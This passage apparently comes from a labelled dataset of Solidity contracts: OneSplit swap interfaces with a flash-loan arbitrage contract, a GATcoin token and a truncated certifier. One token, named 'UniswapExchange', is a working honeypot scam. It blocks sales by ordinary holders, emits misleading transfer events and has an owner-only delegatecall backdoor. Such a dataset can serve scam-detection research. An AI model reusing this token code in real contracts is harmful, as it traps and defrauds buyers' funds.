uint256 internal constant FLAG_DISABLE_UNISWAP_ALL = 0x100000000000;
uint256 internal constant FLAG_DISABLE_CURVE_ALL = 0x200000000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x400000000000;
uint256 internal constant FLAG_DISABLE_SPLIT_RECALCULATION = 0x800000000000;
uint256 internal constant FLAG_DISABLE_BALANCER_ALL = 0x1000000000000;
uint256 internal constant FLAG_DISABLE_BALANCER_1 = 0x2000000000000;
uint256 internal constant FLAG_DISABLE_BALANCER_2 = 0x4000000000000;
uint256 internal constant FLAG_DISABLE_BALANCER_3 = 0x8000000000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x10000000000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x20000000000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x40000000000000;
uint256 internal constant FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP = 0x80000000000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_COMP = 0x100000000000000;
uint256 internal constant FLAG_DISABLE_KYBER_ALL = 0x200000000000000;
uint256 internal constant FLAG_DISABLE_KYBER_1 = 0x400000000000000;
uint256 internal constant FLAG_DISABLE_KYBER_2 = 0x800000000000000;
uint256 internal constant FLAG_DISABLE_KYBER_3 = 0x1000000000000000;
uint256 internal constant FLAG_DISABLE_KYBER_4 = 0x2000000000000000;
uint256 internal constant FLAG_ENABLE_CHI_BURN_BY_ORIGIN = 0x4000000000000000;
}
contract IOneSplit is IOneSplitConsts {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
)
public
payable
returns(uint256 returnAmount);
}
contract IOneSplitMulti is IOneSplit {
function getExpectedReturnWithGasMulti(
IERC20[] memory tokens,
uint256 amount,
uint256[] memory parts,
uint256[] memory flags,
uint256[] memory destTokenEthPriceTimesGasPrices
)
public
view
returns(
uint256[] memory returnAmounts,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function swapMulti(
IERC20[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags
)
public
payable
returns(uint256 returnAmount);
}
contract IFreeFromUpTo is IERC20 {
function freeFromUpTo(address from, uint256 value) external returns(uint256 freed);
}
interface IReferralGasSponsor {
function makeGasDiscount(
uint256 gasSpent,
uint256 returnAmount,
bytes calldata msgSenderCalldata
) external;
}
library Array {
function first(IERC20[] memory arr) internal pure returns(IERC20) {
return arr[0];
}
function last(IERC20[] memory arr) internal pure returns(IERC20) {
return arr[arr.length - 1];
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Withdrawable is Ownable {
using SafeERC20 for ERC20;
address constant ETHER = address(0);
event LogWithdraw(
address indexed _from,
address indexed _assetAddress,
uint amount
);
function withdraw(address _assetAddress) public onlyOwner {
uint assetBalance;
if (_assetAddress == ETHER) {
address self = address(this);
assetBalance = self.balance;
msg.sender.transfer(assetBalance);
} else {
assetBalance = ERC20(_assetAddress).balanceOf(address(this));
ERC20(_assetAddress).safeTransfer(msg.sender, assetBalance);
}
emit LogWithdraw(msg.sender, _assetAddress, assetBalance);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract FlashLoanReceiverBase is IFlashLoanReceiver, Withdrawable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ILendingPoolAddressesProvider public addressesProvider;
constructor(address _addressProvider) public {
addressesProvider = ILendingPoolAddressesProvider(_addressProvider);
}
function() external payable { }
function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal {
address payable core = addressesProvider.getLendingPoolCore();
transferInternal(core, _reserve, _amount);
}
function transferInternal(address payable _destination, address _reserve, uint256 _amount) internal {
if(_reserve == EthAddressLib.ethAddress()) {
_destination.call.value(_amount)("");
return;
}
IERC20(_reserve).safeTransfer(_destination, _amount);
}
function getBalanceInternal(address _target, address _reserve) internal view returns(uint256) {
if(_reserve == EthAddressLib.ethAddress()) {
return _target.balance;
}
return IERC20(_reserve).balanceOf(_target);
}
}
contract OneSplitAudit is IOneSplit, Ownable {
using SafeMath for uint256;
using UniversalERC20 for IERC20;
using Array for IERC20[];
IWETH constant internal weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
IOneSplitMulti public oneSplitImpl;
event ImplementationUpdated(address indexed newImpl);
event Swapped(
IERC20 indexed fromToken,
IERC20 indexed destToken,
uint256 fromTokenAmount,
uint256 destTokenAmount,
uint256 minReturn,
uint256[] distribution,
uint256[] flags,
address referral,
uint256 feePercent
);
constructor(IOneSplitMulti impl) public {
setNewImpl(impl);
}
function() external payable {
require(msg.sender != tx.origin, "OneSplit: do not send ETH directly");
}
function setNewImpl(IOneSplitMulti impl) public onlyOwner {
oneSplitImpl = impl;
emit ImplementationUpdated(address(impl));
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return oneSplitImpl.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function getExpectedReturnWithGasMulti(
IERC20[] memory tokens,
uint256 amount,
uint256[] memory parts,
uint256[] memory flags,
uint256[] memory destTokenEthPriceTimesGasPrices
)
public
view
returns(
uint256[] memory returnAmounts,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return oneSplitImpl.getExpectedReturnWithGasMulti(
tokens,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrices
);
}
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
) public payable returns(uint256) {
return swapWithReferral(
fromToken,
destToken,
amount,
minReturn,
distribution,
flags,
address(0),
0
);
}
function swapWithReferral(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags,
address referral,
uint256 feePercent
) public payable returns(uint256) {
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = fromToken;
tokens[1] = destToken;
uint256[] memory flagsArray = new uint256[](1);
flagsArray[0] = flags;
swapWithReferralMulti(
tokens,
amount,
minReturn,
distribution,
flagsArray,
referral,
feePercent
);
}
function swapMulti(
IERC20[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags
) public payable returns(uint256) {
swapWithReferralMulti(
tokens,
amount,
minReturn,
distribution,
flags,
address(0),
0
);
}
function swapWithReferralMulti(
IERC20[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags,
address referral,
uint256 feePercent
) public payable returns(uint256 returnAmount) {
require(tokens.length >= 2 && amount > 0, "OneSplit: swap makes no sense");
require(flags.length == tokens.length - 1, "OneSplit: flags array length is invalid");
require((msg.value != 0) == tokens.first().isETH(), "OneSplit: msg.value should be used only for ETH swap");
require(feePercent <= 0.03e18, "OneSplit: feePercent out of range");
uint256 gasStart = gasleft();
Balances memory beforeBalances = _getFirstAndLastBalances(tokens, true);
tokens.first().universalTransferFromSenderToThis(amount);
uint256 confirmed = tokens.first().universalBalanceOf(address(this)).sub(beforeBalances.ofFromToken);
tokens.first().universalApprove(address(oneSplitImpl), confirmed);
oneSplitImpl.swapMulti.value(tokens.first().isETH() ? confirmed : 0)(
tokens,
confirmed,
minReturn,
distribution,
flags
);
Balances memory afterBalances = _getFirstAndLastBalances(tokens, false);
returnAmount = afterBalances.ofDestToken.sub(beforeBalances.ofDestToken);
require(returnAmount >= minReturn, "OneSplit: actual return amount is less than minReturn");
tokens.last().universalTransfer(referral, returnAmount.mul(feePercent).div(1e18));
tokens.last().universalTransfer(msg.sender, returnAmount.sub(returnAmount.mul(feePercent).div(1e18)));
emit Swapped(
tokens.first(),
tokens.last(),
amount,
returnAmount,
minReturn,
distribution,
flags,
referral,
feePercent
);
if (afterBalances.ofFromToken > beforeBalances.ofFromToken) {
tokens.first().universalTransfer(msg.sender, afterBalances.ofFromToken.sub(beforeBalances.ofFromToken));
}
if ((flags[0] & (FLAG_ENABLE_CHI_BURN | FLAG_ENABLE_CHI_BURN_BY_ORIGIN)) > 0) {
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
_chiBurnOrSell(
((flags[0] & FLAG_ENABLE_CHI_BURN_BY_ORIGIN) > 0) ? tx.origin : msg.sender,
(gasSpent + 14154) / 41947
);
}
else if ((flags[0] & FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP) > 0) {
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
IReferralGasSponsor(referral).makeGasDiscount(gasSpent, returnAmount, msg.data);
}
}
function claimAsset(IERC20 asset, uint256 amount) public onlyOwner {
asset.universalTransfer(msg.sender, amount);
}
function _chiBurnOrSell(address payable sponsor, uint256 amount) internal {
IUniswapV2Exchange exchange = IUniswapV2Exchange(0xa6f3ef841d371a82ca757FaD08efc0DeE2F1f5e2);
uint256 sellRefund = UniswapV2ExchangeLib.getReturn(exchange, chi, weth, amount);
uint256 burnRefund = amount.mul(18_000).mul(tx.gasprice);
if (sellRefund < burnRefund.add(tx.gasprice.mul(36_000))) {
chi.freeFromUpTo(sponsor, amount);
}
else {
chi.transferFrom(sponsor, address(exchange), amount);
exchange.swap(0, sellRefund, address(this), "");
weth.withdraw(weth.balanceOf(address(this)));
sponsor.transfer(address(this).balance);
}
}
struct Balances {
uint256 ofFromToken;
uint256 ofDestToken;
}
function _getFirstAndLastBalances(IERC20[] memory tokens, bool subValue) internal view returns(Balances memory) {
return Balances({
ofFromToken: tokens.first().universalBalanceOf(address(this)).sub(subValue ? msg.value : 0),
ofDestToken: tokens.last().universalBalanceOf(address(this))
});
}
}
contract ArbitrageContract is FlashLoanReceiverBase(address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8)) {
IERC20[] tokens;
uint256 minReturn;
uint256[] distribution;
uint256[] flags;
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params
)
external
{
require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
swapArbitrage(_amount);
uint totalDebt = _amount.add(_fee);
transferFundsBackToPoolInternal(_reserve, totalDebt);
}
function () external payable {
}
function flashloan(
IERC20[] memory _tokens,
uint256 _amountWei,
uint256 _minReturn,
uint256[] memory _distribution,
uint256[] memory _flags
) public onlyOwner {
tokens = _tokens;
minReturn = _minReturn;
distribution = _distribution;
flags = _flags;
bytes memory data = "";
uint amount = _amountWei;
address asset = address(_tokens[0]);
ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
lendingPool.flashLoan(address(this), asset, amount, data);
}
function swapArbitrage(uint256 _amount) internal {
OneSplitAudit OneSplitAudit_Contract = OneSplitAudit(address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e));
require(tokens[0].approve(address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e), _amount), "Could not approve firstToken!");
OneSplitAudit_Contract.swapMulti(tokens, _amount, minReturn, distribution, flags);
}
} | 0 | 185 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,394 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract GATcoin is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function GATcoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 5,304 |
pragma solidity ^0.4.15;
contract Owned {
modifier only_owner {
if (msg.sender != owner)
return;
_;
}
event NewOwner(address indexed old, address indexed current);
function setOwner(address _new) only_owner { NewOwner(owner, _new); owner = _new; }
address public owner = msg.sender;
}
contract Certifier {
event Confirmed(address indexed who);
event Revoked(address indexed who);
function certified(address _who) constant returns (bool);
function get(address _who, string _field) constant returns (bytes32) {}
function getAddress(address _who, string _field) constant returns (address) {}
function getUint(address _who, string _field) constant returns (uint) {}
}
contract SimpleCertifier is Owned, Certifier {
modifier only_delegate {
assert(msg.sender == delegate);
_;
}
modifier only_certified(address _who) {
if (!certs[_who].active)
return;
_;
}
struct Certification {
bool active;
mapping (string => bytes32) meta;
}
